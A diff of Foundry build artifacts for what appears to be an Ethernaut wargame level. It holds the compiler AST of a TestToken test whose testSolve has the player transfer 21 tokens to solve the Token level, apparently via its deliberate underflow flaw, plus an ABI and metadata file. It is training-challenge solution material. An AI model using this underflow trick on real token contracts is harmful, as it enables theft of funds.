(address)"}},"id":64824,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1030:29:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":64821,"name":"DummyFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52145,"src":"1017:12:149","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_DummyFactory_$52145_$","typeString":"type(contract DummyFactory)"}},"id":64825,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1017:43:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"nodeType":"VariableDeclarationStatement","src":"994:66:149"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":64833,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64820,"src":"1108:7:149","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":64832,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1100:7:149","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64831,"name":"address","nodeType":"ElementaryTypeName","src":"1100:7:149","typeDescriptions":{}}},"id":64834,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1100:16:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":64830,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1094:5:149","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":64835,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1094:23:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":64827,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64763,"src":"1070:9:149","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":64829,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1080:13:149","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1070:23:149","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":64836,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1070:48:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64837,"nodeType":"ExpressionStatement","src":"1070:48:149"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":64838,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1128:2:149","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64840,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1131:9:149","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1128:12:149","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":64841,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1128:14:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64842,"nodeType":"ExpressionStatement","src":"1128:14:149"},{"expression":{"arguments":[{"id":64846,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64770,"src":"1167:6:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":64843,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1153:2:149","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64845,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1156:10:149","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1153:13:149","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":64847,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1153:21:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64848,"nodeType":"ExpressionStatement","src":"1153:21:149"},{"expression":{"id":64865,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64849,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64766,"src":"1184:8:149","typeDescriptions":{"typeIdentifier":"t_contract$_Token_$64756","typeString":"contract Token"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":64854,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64763,"src":"1229:9:149","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":64858,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64820,"src":"1254:7:149","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":64857,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1246:7:149","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64856,"name":"address","nodeType":"ElementaryTypeName","src":"1246:7:149","typeDescriptions":{}}},"id":64859,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1246:16:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":64855,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1240:5:149","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":64860,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1240:23:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"30","id":64861,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1265:1:149","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":64853,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1209:19:149","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":64862,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1209:58:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":64852,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1201:8:149","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":64851,"name":"address","nodeType":"ElementaryTypeName","src":"1201:8:149","stateMutability":"payable","typeDescriptions":{}}},"id":64863,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1201:67:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":64850,"name":"Token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64756,"src":"1195:5:149","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Token_$64756_$","typeString":"type(contract Token)"}},"id":64864,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1195:74:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Token_$64756","typeString":"contract Token"}},"src":"1184:85:149","typeDescriptions":{"typeIdentifier":"t_contract$_Token_$64756","typeString":"contract Token"}},"id":64866,"nodeType":"ExpressionStatement","src":"1184:85:149"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":64867,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1279:2:149","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64869,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1282:9:149","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1279:12:149","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":64870,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1279:14:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64871,"nodeType":"ExpressionStatement","src":"1279:14:149"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"701:5:149","parameters":{"id":64771,"nodeType":"ParameterList","parameters":[],"src":"706:2:149"},"returnParameters":{"id":64772,"nodeType":"ParameterList","parameters":[],"src":"716:0:149"},"scope":64926,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":64894,"nodeType":"FunctionDefinition","src":"1552:137:149","nodes":[],"body":{"id":64893,"nodeType":"Block","src":"1579:110:149","nodes":[],"statements":[{"expression":{"arguments":[{"id":64880,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64770,"src":"1603:6:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":64877,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1589:2:149","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64879,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1592:10:149","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1589:13:149","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":64881,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1589:21:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64882,"nodeType":"ExpressionStatement","src":"1589:21:149"},{"expression":{"arguments":[{"arguments":[{"id":64885,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64763,"src":"1652:9:149","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":64888,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64766,"src":"1671:8:149","typeDescriptions":{"typeIdentifier":"t_contract$_Token_$64756","typeString":"contract Token"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Token_$64756","typeString":"contract Token"}],"id":64887,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1663:7:149","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64886,"name":"address","nodeType":"ElementaryTypeName","src":"1663:7:149","typeDescriptions":{}}},"id":64889,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1663:17:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":64884,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1632:19:149","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":64890,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1632:49:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":64883,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1620:11:149","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":64891,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1620:62:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64892,"nodeType":"ExpressionStatement","src":"1620:62:149"}]},"documentation":{"id":64874,"nodeType":"StructuredDocumentation","src":"1484:63:149","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1561:8:149","parameters":{"id":64875,"nodeType":"ParameterList","parameters":[],"src":"1569:2:149"},"returnParameters":{"id":64876,"nodeType":"ParameterList","parameters":[],"src":"1579:0:149"},"scope":64926,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":64925,"nodeType":"FunctionDefinition","src":"1744:189:149","nodes":[],"body":{"id":64924,"nodeType":"Block","src":"1772:161:149","nodes":[],"statements":[{"expression":{"arguments":[{"id":64901,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64770,"src":"1796:6:149","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":64898,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1782:2:149","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64900,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1785:10:149","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1782:13:149","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":64902,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1782:21:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64903,"nodeType":"ExpressionStatement","src":"1782:21:149"},{"expression":{"arguments":[{"arguments":[{"id":64909,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64766,"src":"1840:8:149","typeDescriptions":{"typeIdentifier":"t_contract$_Token_$64756","typeString":"contract Token"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Token_$64756","typeString":"contract Token"}],"id":64908,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1832:7:149","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64907,"name":"address","nodeType":"ElementaryTypeName","src":"1832:7:149","typeDescriptions":{}}},"id":64910,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1832:17:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"3231","id":64911,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1851:2:149","typeDescriptions":{"typeIdentifier":"t_rational_21_by_1","typeString":"int_const 21"},"value":"21"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_21_by_1","typeString":"int_const 21"}],"expression":{"id":64904,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64766,"src":"1814:8:149","typeDescriptions":{"typeIdentifier":"t_contract$_Token_$64756","typeString":"contract Token"}},"id":64906,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1823:8:149","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":64755,"src":"1814:17:149","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns (bool)"}},"id":64912,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1814:40:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":64913,"nodeType":"ExpressionStatement","src":"1814:40:149"},{"expression":{"arguments":[{"arguments":[{"id":64916,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64763,"src":"1896:9:149","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":64919,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64766,"src":"1915:8:149","typeDescriptions":{"typeIdentifier":"t_contract$_Token_$64756","typeString":"contract Token"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Token_$64756","typeString":"contract Token"}],"id":64918,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1907:7:149","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64917,"name":"address","nodeType":"ElementaryTypeName","src":"1907:7:149","typeDescriptions":{}}},"id":64920,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1907:17:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":64915,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1876:19:149","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":64921,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1876:49:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":64914,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"1865:10:149","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":64922,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1865:61:149","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64923,"nodeType":"ExpressionStatement","src":"1865:61:149"}]},"documentation":{"id":64895,"nodeType":"StructuredDocumentation","src":"1695:44:149","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1753:9:149","parameters":{"id":64896,"nodeType":"ParameterList","parameters":[],"src":"1762:2:149"},"returnParameters":{"id":64897,"nodeType":"ParameterList","parameters":[],"src":"1772:0:149"},"scope":64926,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":64757,"name":"Test","nameLocations":["392:4:149"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"392:4:149"},"id":64758,"nodeType":"InheritanceSpecifier","src":"392:4:149"},{"baseName":{"id":64759,"name":"Utils","nameLocations":["398:5:149"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"398:5:149"},"id":64760,"nodeType":"InheritanceSpecifier","src":"398:5:149"}],"canonicalName":"TestToken","contractDependencies":[49101,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[64926,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestToken","nameLocation":"379:9:149","scope":64927,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":149} \ No newline at end of file diff --git a/contracts/out/Token.t.sol/Token.json b/contracts/out/Token.t.sol/Token.json new file mode 100644 index 000000000..7abf9786d --- /dev/null +++ b/contracts/out/Token.t.sol/Token.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"transfer","inputs":[{"name":"","type":"address","internalType":"address"},{"name":"","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"transfer(address,uint256)":"a9059cbb"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/Token.t.sol\":\"Token\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b